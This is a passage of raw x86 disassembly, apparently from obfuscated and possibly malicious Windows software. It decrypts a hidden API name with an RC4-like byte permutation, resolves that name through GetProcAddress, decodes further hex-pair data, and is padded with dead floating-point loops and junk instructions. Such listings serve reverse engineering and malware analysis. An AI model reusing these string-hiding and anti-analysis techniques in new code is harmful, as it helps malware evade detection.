movzx eax, byte [ebp - 0x3291]
shl eax, 0
lea esi, [ebp - 0x1f18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325c]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [ebp - 0x3292]
shl ecx, 0
lea esi, [ebp - 0x1f18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325c]
shl eax, 0
lea ecx, [ebp - 0x1f18]
mov dl, byte [ebp - 0x332a]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x332a]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x332b]
add eax, edx
mov byte [ebp - 0x332b], al
movzx ecx, byte [ebp - 0x332d]
movzx edx, byte [ebp - 0x3291]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x325c]
shl eax, 0
lea esi, [ebp - 0x1f18]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3292]
shl eax, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x32d7]
shl edx, 0
lea esi, [ebp - 0x1f18]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x332b]
shl edx, 0
lea esi, [ebp - 0x1f18]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3292], cl
mov cl, byte [ebp - 0x332d]
mov byte [ebp - 0x32d7], cl
mov dl, byte [ebp - 0x3292]
mov byte [ebp - 0x345d], dl
cmp dword [ebp - 0x33ec], 0
jbe 0x48b7eb
mov eax, dword [ebp - 0x33ec]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x930]
mov dl, byte [ebp - 0x345d]
mov byte [eax + ecx], dl
mov eax, 1
imul ecx, eax, 0xd
mov dword [ebp - 0x5dbc], ecx
cmp dword [ebp - 0x5dbc], 0xe
jae 0x48b804
jmp 0x48b809
call fcn.009b1617
lea edx, [ebp - 0x930]
add edx, dword [ebp - 0x5dbc]
mov byte [edx], 0
jmp 0x48b86b
mov dword [ebp - 0x33ec], 0
jmp 0x48b835
mov eax, dword [ebp - 0x33ec]
add eax, 1
mov dword [ebp - 0x33ec], eax
cmp dword [ebp - 0x33ec], 0xe
jae 0x48b86b
mov ecx, dword [ebp - 0x33ec]
mov dword [ebp - 0x5db8], ecx
cmp dword [ebp - 0x5db8], 0xe
jae 0x48b855
jmp 0x48b85a
call fcn.009b1617
lea edx, [ebp - 0x930]
add edx, dword [ebp - 0x5db8]
mov byte [edx], 0
jmp 0x48b826
lea eax, [ebp - 0x930]
push eax
mov ecx, dword [ebp - 0x348c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa00bbc], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x539c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x512c], xmm0
mov dword [ebp - 0x346c], 0
mov dword [ebp - 0x4aec], 0
mov dword [ebp - 0x5844], 0
mov dword [ebp - 0x5610], 1
mov dword [ebp - 0x4664], 0
mov dword [ebp - 0x5b54], 0
mov dword [ebp - 0x3a8c], 0
mov dword [ebp - 0x4438], 0
mov dword [ebp - 0x4300], 0
mov dword [ebp - 0x4304], 0
mov dword [ebp - 0x4444], 0
mov dword [ebp - 0x4308], 0
mov dword [ebp - 0x430c], 0
mov dword [ebp - 0x4310], 0
mov dword [ebp - 0x4318], 0
mov dword [ebp - 0x4420], 0
mov dword [ebp - 0x444c], 0
mov dword [ebp - 0x4450], 0
mov dword [ebp - 0x4ae8], 0
mov byte [ebp - 0x32b9], 0
mov byte [ebp - 0x32eb], 0
mov byte [ebp - 0x33ee], 0
mov byte [ebp - 0x32ec], 0
mov byte [ebp - 0x3342], 0
mov byte [ebp - 0x3412], 0
mov byte [ebp - 0x3da5], 0
mov byte [ebp - 0x33fb], 0
mov byte [ebp - 0x33f0], 0
mov byte [ebp - 0x3493], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x539c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x512c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x512c], xmm0
jmp 0x48b9d9
movsd xmm0, qword [ebp - 0x512c]
addsd xmm0, qword [0x9d3050]
movsd qword [ebp - 0x512c], xmm0
movsd xmm0, qword [0x9d4ec0]
comisd xmm0, xmmword [ebp - 0x512c]
jbe 0x48ba8a
movsd xmm0, qword [0x9d3ea0]
mulsd xmm0, qword [ebp - 0x512c]
mulsd xmm0, qword [ebp - 0x512c]
movsd xmm1, qword [ebp - 0x512c]
mulsd xmm1, qword [ebp - 0x512c]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d3950]
mulsd xmm1, qword [ebp - 0x512c]
mulsd xmm1, qword [ebp - 0x512c]
addsd xmm1, qword [0x9d3ab0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x539c]
movsd qword [ebp - 0x539c], xmm0
movsd xmm0, qword [ebp - 0x539c]
comisd xmm0, xmmword [0x9d3bd0]
jbe 0x48ba85
movsd xmm0, qword [0x9d3920]
mulsd xmm0, qword [ebp - 0x512c]
movsd xmm1, qword [ebp - 0x539c]
subsd xmm1, xmm0
movsd qword [ebp - 0x539c], xmm1
jmp 0x48b9c1
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x539c]
jbe 0x48badc
sub byte [edi - 0x77d978dd], al
and cl, byte [ecx - 0x7bde6ede]
sub eax, dword [esi - 0x73dc6fd7]
and dword [ebp - 0x7cdf7ce0], eax
and cl, byte [edi - 0x6ed96dda]
sub dl, byte [eax - 0x77d777dd]
sub cl, byte [esp + ebp + 0x28922690]
test byte [0x64532b83], ch
push ebx
xor dh, byte [eax + 0x3d]
jne 0x48bb08
jnp 0x48bb36
sub bl, byte [ebx + 0x5a]
outsd dx, dword ss:[esi]
and ecx, ebp
and al, 0x17
add byte [eax], al
mov dword [ebp - 0x61a0], 0x48ba97
mov dword [ebp - 0x619c], 0x48bac5
mov edx, dword [ebp - 0x61a0]
mov dword [ebp - 0x466c], edx
mov eax, dword [ebp - 0x619c]
mov dword [ebp - 0x6198], eax
mov byte [ebp - 0x3da5], 0x16
mov dword [ebp - 0x346c], 0
movss xmm0, dword [0x9d572c]
movss dword [ebp - 0x5614], xmm0
movss xmm0, dword [0x9d5648]
movss dword [ebp - 0x47fc], xmm0
movss xmm0, dword [0x9d5520]
mov eax, 0xff3ffff
adc byte [0x9d5520], al
movss dword [ebp - 0x5618], xmm0
movss xmm0, dword [0x9d5404]
movss dword [ebp - 0x47f8], xmm0
movss xmm0, dword [0x9d52dc]
movss dword [ebp - 0x41cc], xmm0
movss xmm0, dword [0x9d519c]
movss dword [ebp - 0x41c8], xmm0
movss xmm0, dword [0x9d5068]
movss dword [ebp - 0x4068], xmm0
movss xmm0, dword [ebp - 0x41cc]
subss xmm0, dword [ebp - 0x4068]
movss dword [ebp - 0x41cc], xmm0
movss xmm0, dword [ebp - 0x41c8]
mulss xmm0, dword [ebp - 0x4068]
movss dword [ebp - 0x41c8], xmm0
movss xmm0, dword [ebp - 0x5614]
mulss xmm0, dword [ebp - 0x4068]
movss dword [ebp - 0x5614], xmm0
movss xmm0, dword [ebp - 0x41cc]
mulss xmm0, dword [ebp - 0x4068]
movss dword [ebp - 0x41cc], xmm0
movss xmm0, dword [ebp - 0x41c8]
addss xmm0, dword [ebp - 0x4068]
movss dword [ebp - 0x41c8], xmm0
movss xmm0, dword [ebp - 0x41cc]
mulss xmm0, dword [ebp - 0x4068]
movss dword [ebp - 0x41cc], xmm0
movss xmm0, dword [ebp - 0x41cc]
mulss xmm0, dword [ebp - 0x4068]
movss dword [ebp - 0x41cc], xmm0
movss xmm0, dword [ebp - 0x4068]
comiss xmm0, dword [ebp - 0x41cc]
jbe 0x48bcf3
movss xmm0, dword [ebp - 0x47fc]
mulss xmm0, dword [ebp - 0x47f8]
movss dword [ebp - 0x47fc], xmm0
movss xmm0, dword [ebp - 0x47fc]
divss xmm0, dword [ebp - 0x47f8]
movss dword [ebp - 0x47fc], xmm0
movss xmm0, dword [ebp - 0x41c8]
mulss xmm0, dword [ebp - 0x5614]
movss dword [ebp - 0x41c8], xmm0
movss xmm0, dword [ebp - 0x47f8]
subss xmm0, dword [ebp - 0x41c8]
movss dword [ebp - 0x47f8], xmm0
movss xmm0, dword [ebp - 0x41c8]
mulss xmm0, dword [ebp - 0x5614]
movss dword [ebp - 0x41c8], xmm0
movss xmm0, dword [ebp - 0x47fc]
subss xmm0, dword [ebp - 0x47f8]
movss dword [ebp - 0x47fc], xmm0
movss xmm0, dword [ebp - 0x4068]
divss xmm0, dword [ebp - 0x47fc]
movss dword [ebp - 0x4068], xmm0
jmp 0x48bda5
movss xmm0, dword [ebp - 0x5618]
subss xmm0, dword [ebp - 0x47f8]
movss dword [ebp - 0x5618], xmm0
movss xmm0, dword [ebp - 0x5618]
addss xmm0, dword [ebp - 0x47f8]
movss dword [ebp - 0x5618], xmm0
movss xmm0, dword [ebp - 0x47fc]
addss xmm0, dword [ebp - 0x5618]
movss dword [ebp - 0x47fc], xmm0
mov dword [ebp - 0x4aec], 0
movss xmm0, dword [ebp - 0x41cc]
subss xmm0, dword [ebp - 0x41c8]
movss dword [ebp - 0x41cc], xmm0
movss xmm0, dword [ebp - 0x41c8]
addss xmm0, dword [ebp - 0x4068]
movss dword [ebp - 0x41c8], xmm0
movss xmm0, dword [ebp - 0x4068]
addss xmm0, dword [ebp - 0x5614]
movss dword [ebp - 0x4068], xmm0
movss xmm0, dword [ebp - 0x47f8]
mulss xmm0, dword [ebp - 0x41cc]
movss dword [ebp - 0x47f8], xmm0
mov dword [ebp - 0x346c], 0
jmp 0x48bdc0
mov ecx, dword [ebp - 0x346c]
add ecx, 1
mov dword [ebp - 0x346c], ecx
cmp dword [ebp - 0x346c], 0x100
jae 0x48bde6
mov edx, dword [ebp - 0x346c]
shl edx, 0
lea eax, [ebp - 0x2dcc]
mov cl, byte [ebp - 0x346c]
mov byte [edx + eax], cl
jmp 0x48bdb1
mov dword [ebp - 0x4aec], 0
mov byte [ebp - 0x3412], 0
mov dword [ebp - 0x346c], 0xff
jmp 0x48be12
mov edx, dword [ebp - 0x346c]
sub edx, 1
mov dword [ebp - 0x346c], edx
cmp dword [ebp - 0x346c], 0
jbe 0x48c0d8
mov dword [ebp - 0x5844], 0
mov dword [ebp - 0x5610], 1
mov dword [ebp - 0x4664], 0
mov eax, dword [ebp - 0x5610]
cmp eax, dword [ebp - 0x346c]
jae 0x48be5e
mov ecx, dword [ebp - 0x5610]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x5610], ecx
jmp 0x48be3d
mov edx, dword [ebp - 0x4aec]
mov dword [ebp - 0x5db4], edx
cmp dword [ebp - 0x5db4], 3
ja case.default.0x48be7d
mov eax, dword [ebp - 0x5db4]
jmp dword [eax*4 + 0x4de85c]
movzx ecx, byte [ebp - 0x3412]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x539c]
call fcn.009b1700
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3412], bl
jmp 0x48bf84
movzx eax, byte [ebp - 0x3412]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x539c]
call fcn.009b1700
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3412], bl
jmp 0x48bf84
movzx edx, byte [ebp - 0x3412]
shl edx, 0
lea eax, [ebp - 0x2dcc]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x539c]
call fcn.009b1700
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3412], bl
jmp 0x48bf84
movzx ecx, byte [ebp - 0x3412]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x539c]
call fcn.009b1700
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3412], bl
jmp 0x48bf84
movzx eax, byte [ebp - 0x3412]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [eax + ecx]
mov eax, dword [ebp - 0x4aec]
sub eax, 4
shl eax, 0
add eax, dword [ebp - 0x6198]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x3412], dl
mov edx, dword [ebp - 0x4aec]
add edx, 1
mov dword [ebp - 0x4aec], edx
movzx eax, byte [ebp - 0x3da5]
cmp dword [ebp - 0x4aec], eax
jb 0x48bfc2
mov dword [ebp - 0x4aec], 0
movzx ecx, byte [ebp - 0x3da5]
movzx edx, byte [ebp - 0x3412]
add edx, ecx
mov byte [ebp - 0x3412], dl
movzx eax, byte [ebp - 0x3412]
and eax, dword [ebp - 0x5610]
mov dword [ebp - 0x4664], eax
mov ecx, dword [ebp - 0x5844]
add ecx, 1
mov dword [ebp - 0x5844], ecx
cmp dword [ebp - 0x5844], 0xb
jbe 0x48c001
mov eax, dword [ebp - 0x4664]
xor edx, edx
div dword [ebp - 0x346c]
mov dword [ebp - 0x4664], edx
mov edx, dword [ebp - 0x4664]
cmp edx, dword [ebp - 0x346c]
ja 0x48be5e
mov eax, dword [ebp - 0x346c]
cmp eax, dword [ebp - 0x4664]
je 0x48c0d3
mov ecx, dword [ebp - 0x346c]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
mov eax, dword [ebp - 0x4664]
shl eax, 0
lea esi, [ebp - 0x2dcc]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x346c]
shl edx, 0
lea eax, [ebp - 0x2dcc]
mov byte [edx + eax], cl
mov ecx, dword [ebp - 0x4664]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
mov eax, dword [ebp - 0x346c]
shl eax, 0
lea esi, [ebp - 0x2dcc]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x4664]
shl edx, 0
lea eax, [ebp - 0x2dcc]
mov byte [edx + eax], cl
mov ecx, dword [ebp - 0x346c]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
mov eax, dword [ebp - 0x4664]
shl eax, 0
lea esi, [ebp - 0x2dcc]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x346c]
shl edx, 0
lea eax, [ebp - 0x2dcc]
mov byte [edx + eax], cl
jmp 0x48be03
mov ecx, 1
shl ecx, 0
lea edx, [ebp - 0x2dcc]
mov al, byte [ecx + edx]
mov byte [ebp - 0x32b9], al
mov ecx, 1
imul edx, ecx, 3
lea eax, [ebp - 0x2dcc]
mov cl, byte [edx + eax]
mov byte [ebp - 0x32eb], cl
mov edx, 1
imul eax, edx, 5
lea ecx, [ebp - 0x2dcc]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x33ee], dl
mov eax, 1
imul ecx, eax, 7
lea edx, [ebp - 0x2dcc]
mov al, byte [ecx + edx]
mov byte [ebp - 0x32ec], al
movzx ecx, byte [ebp - 0x3412]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3342], al
mov dword [ebp - 0x5b54], 0x2e
cmp dword [ebp - 0x5b54], 2
jle 0x48d1af
mov ecx, dword [ebp - 0x5b54]
and ecx, 1
jne 0x48d1af
mov dword [ebp - 0x346c], 0
mov dword [ebp - 0x3a8c], 0
mov edx, dword [ebp - 0x3a8c]
add edx, 1
mov dword [ebp - 0x3a8c], edx
mov dword [ebp - 0x4438], 0
mov eax, dword [ebp - 0x346c]
shl eax, 1
mov dword [ebp - 0x4438], eax
mov dword [ebp - 0x4300], 0
mov ecx, dword [ebp - 0x4438]
shl ecx, 0
add ecx, dword [ebp - 0x466c]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x4300]
mov dword [ebp - 0x4300], edx
mov dword [ebp - 0x4304], 0
mov eax, dword [ebp - 0x4304]
add eax, 0x1e
mov dword [ebp - 0x4304], eax
mov dword [ebp - 0x4444], 0
mov ecx, dword [ebp - 0x346c]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x4444], ecx
mov dword [ebp - 0x4308], 0
mov edx, dword [ebp - 0x4444]
shl edx, 0
add edx, dword [ebp - 0x466c]
movzx eax, byte [edx]
add eax, dword [ebp - 0x4308]
mov dword [ebp - 0x4308], eax
mov dword [ebp - 0x430c], 0
mov ecx, dword [ebp - 0x430c]
add ecx, 0x83
mov dword [ebp - 0x430c], ecx
mov dword [ebp - 0x4310], 0
mov edx, dword [ebp - 0x4300]
sub edx, dword [ebp - 0x4304]
add edx, dword [ebp - 0x4310]
mov dword [ebp - 0x4310], edx
mov dword [ebp - 0x4318], 0
mov eax, dword [ebp - 0x4308]
sub eax, dword [ebp - 0x430c]
add eax, dword [ebp - 0x4318]
mov dword [ebp - 0x4318], eax
mov dword [ebp - 0x4420], 0
mov ecx, dword [ebp - 0x4310]
shl ecx, 4
mov dword [ebp - 0x4420], ecx
mov dword [ebp - 0x444c], 0
mov edx, dword [ebp - 0x4318]
mov dword [ebp - 0x444c], edx
mov dword [ebp - 0x4450], 0
mov eax, dword [ebp - 0x4420]
or eax, dword [ebp - 0x444c]
mov dword [ebp - 0x4450], eax
mov byte [ebp - 0x33fb], 0
mov cl, byte [ebp - 0x4450]
mov byte [ebp - 0x33fb], cl
mov byte [ebp - 0x33f0], 0
movzx edx, byte [ebp - 0x3342]
shl edx, 0
lea eax, [ebp - 0x2dcc]
mov cl, byte [edx + eax]
mov byte [ebp - 0x33f0], cl
movzx edx, byte [ebp - 0x32b9]
shl edx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x32eb]
add edx, ecx
mov byte [ebp - 0x32eb], dl
mov al, byte [ebp - 0x32b9]
add al, 1
mov byte [ebp - 0x32b9], al
movzx ecx, byte [ebp - 0x32eb]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx eax, byte [ebp - 0x3342]
shl eax, 0
lea esi, [ebp - 0x2dcc]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x32ec]
shl edx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [ebp - 0x32eb]
shl ecx, 0
lea esi, [ebp - 0x2dcc]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x32b9]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [ebp - 0x32ec]
shl edx, 0
lea esi, [ebp - 0x2dcc]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x32b9]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
mov al, byte [ebp - 0x33f0]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x33f0]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x33ee]
add ecx, eax
mov byte [ebp - 0x33ee], cl
movzx edx, byte [ebp - 0x33fb]
movzx eax, byte [ebp - 0x32eb]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x32b9]
shl ecx, 0
lea esi, [ebp - 0x2dcc]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x32ec]
shl ecx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x3342]
shl eax, 0
lea esi, [ebp - 0x2dcc]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x33ee]
shl eax, 0
lea esi, [ebp - 0x2dcc]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x32ec], dl
mov dl, byte [ebp - 0x33fb]
mov byte [ebp - 0x3342], dl
mov al, byte [ebp - 0x32ec]
mov byte [ebp - 0x3493], al
cmp dword [ebp - 0x346c], 0
jbe 0x48c4d8
mov ecx, dword [ebp - 0x346c]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x3124]
mov al, byte [ebp - 0x3493]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x346c]
add ecx, 1
mov dword [ebp - 0x346c], ecx
mov edx, dword [ebp - 0x3a8c]
add edx, 1
mov dword [ebp - 0x3a8c], edx
mov eax, dword [ebp - 0x346c]
shl eax, 1
mov dword [ebp - 0x4438], eax
mov ecx, dword [ebp - 0x4438]
shl ecx, 0
add ecx, dword [ebp - 0x466c]
movzx edx, byte [ecx]
mov dword [ebp - 0x4300], edx
mov dword [ebp - 0x4304], 0x1e
mov eax, dword [ebp - 0x346c]
shl eax, 1
add eax, 1
mov dword [ebp - 0x4444], eax
mov ecx, dword [ebp - 0x4444]
shl ecx, 0
add ecx, dword [ebp - 0x466c]
movzx edx, byte [ecx]
mov dword [ebp - 0x4308], edx
mov dword [ebp - 0x430c], 0x83
mov eax, dword [ebp - 0x4300]
sub eax, dword [ebp - 0x4304]
mov dword [ebp - 0x4310], eax
mov ecx, dword [ebp - 0x4308]
sub ecx, dword [ebp - 0x430c]
mov dword [ebp - 0x4318], ecx
mov edx, dword [ebp - 0x4310]
shl edx, 4
mov dword [ebp - 0x4420], edx
mov eax, dword [ebp - 0x4318]
mov dword [ebp - 0x444c], eax
mov ecx, dword [ebp - 0x4420]
or ecx, dword [ebp - 0x444c]
mov dword [ebp - 0x4450], ecx
mov dl, byte [ebp - 0x4450]
mov byte [ebp - 0x33fb], dl
movzx eax, byte [ebp - 0x3342]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x33f0], dl
movzx eax, byte [ebp - 0x32b9]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x32eb]
add eax, edx
mov byte [ebp - 0x32eb], al
mov cl, byte [ebp - 0x32b9]
add cl, 1
mov byte [ebp - 0x32b9], cl
movzx edx, byte [ebp - 0x32eb]
shl edx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [ebp - 0x3342]
shl ecx, 0
lea esi, [ebp - 0x2dcc]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x32ec]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [ebp - 0x32eb]
shl edx, 0
lea esi, [ebp - 0x2dcc]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x32b9]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx eax, byte [ebp - 0x32ec]
shl eax, 0
lea esi, [ebp - 0x2dcc]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x32b9]
shl edx, 0
lea eax, [ebp - 0x2dcc]
mov cl, byte [ebp - 0x33f0]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x33f0]
shl edx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x33ee]
add edx, ecx
mov byte [ebp - 0x33ee], dl
movzx eax, byte [ebp - 0x33fb]
movzx ecx, byte [ebp - 0x32eb]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x32b9]
shl edx, 0
lea esi, [ebp - 0x2dcc]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x32ec]
shl edx, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x3342]
shl ecx, 0
lea esi, [ebp - 0x2dcc]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x33ee]
shl ecx, 0
lea esi, [ebp - 0x2dcc]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x32ec], al
mov al, byte [ebp - 0x33fb]
mov byte [ebp - 0x3342], al
mov cl, byte [ebp - 0x32ec]
mov byte [ebp - 0x3493], cl
cmp dword [ebp - 0x346c], 0
jbe 0x48c799
mov edx, dword [ebp - 0x346c]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x3124]
mov cl, byte [ebp - 0x3493]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x3a8c]
add edx, 0xa
mov dword [ebp - 0x3a8c], edx
mov eax, dword [ebp - 0x346c]
add eax, 1
mov dword [ebp - 0x4ae8], eax
jmp 0x48c7c8
mov ecx, dword [ebp - 0x4ae8]
add ecx, 1
mov dword [ebp - 0x4ae8], ecx
mov edx, dword [ebp - 0x4ae8]
cmp edx, dword [ebp - 0x3a8c]
jge 0x48ca90
mov eax, dword [ebp - 0x346c]
add eax, 1
mov dword [ebp - 0x346c], eax
mov ecx, dword [ebp - 0x346c]
shl ecx, 1
mov dword [ebp - 0x4438], ecx
mov edx, dword [ebp - 0x4438]
shl edx, 0
add edx, dword [ebp - 0x466c]
movzx eax, byte [edx]
mov dword [ebp - 0x4300], eax
mov dword [ebp - 0x4304], 0x1e
mov ecx, dword [ebp - 0x346c]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x4444], ecx
mov edx, dword [ebp - 0x4444]
shl edx, 0
add edx, dword [ebp - 0x466c]
movzx eax, byte [edx]
mov dword [ebp - 0x4308], eax
mov dword [ebp - 0x430c], 0x83
mov ecx, dword [ebp - 0x4300]
sub ecx, dword [ebp - 0x4304]
mov dword [ebp - 0x4310], ecx
mov edx, dword [ebp - 0x4308]
sub edx, dword [ebp - 0x430c]
mov dword [ebp - 0x4318], edx
mov eax, dword [ebp - 0x4310]
shl eax, 4
mov dword [ebp - 0x4420], eax
mov ecx, dword [ebp - 0x4318]
mov dword [ebp - 0x444c], ecx
mov edx, dword [ebp - 0x4420]
or edx, dword [ebp - 0x444c]
mov dword [ebp - 0x4450], edx
mov al, byte [ebp - 0x4450]
mov byte [ebp - 0x33fb], al
movzx ecx, byte [ebp - 0x3342]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
mov al, byte [ecx + edx]
mov byte [ebp - 0x33f0], al
movzx ecx, byte [ebp - 0x32b9]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x32eb]
add ecx, eax
mov byte [ebp - 0x32eb], cl
mov dl, byte [ebp - 0x32b9]
add dl, 1
mov byte [ebp - 0x32b9], dl
movzx eax, byte [ebp - 0x32eb]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [ebp - 0x3342]
shl edx, 0
lea esi, [ebp - 0x2dcc]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x32ec]
shl ecx, 0
lea edx, [ebp - 0x2dcc]
movzx eax, byte [ebp - 0x32eb]
shl eax, 0
lea esi, [ebp - 0x2dcc]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x32b9]
shl edx, 0
lea eax, [ebp - 0x2dcc]
movzx ecx, byte [ebp - 0x32ec]
shl ecx, 0
lea esi, [ebp - 0x2dcc]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x32b9]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
mov dl, byte [ebp - 0x33f0]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x33f0]
shl eax, 0
lea ecx, [ebp - 0x2dcc]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x33ee]
add eax, edx
mov byte [ebp - 0x33ee], al
movzx ecx, byte [ebp - 0x33fb]
movzx edx, byte [ebp - 0x32eb]
shl edx, 0
lea eax, [ebp - 0x2dcc]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x32b9]
shl eax, 0
lea esi, [ebp - 0x2dcc]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2dcc]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x32ec]
shl eax, 0
lea edx, [ebp - 0x2dcc]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x3342]
shl edx, 0
lea esi, [ebp - 0x2dcc]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x33ee]
shl edx, 0
lea esi, [ebp - 0x2dcc]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
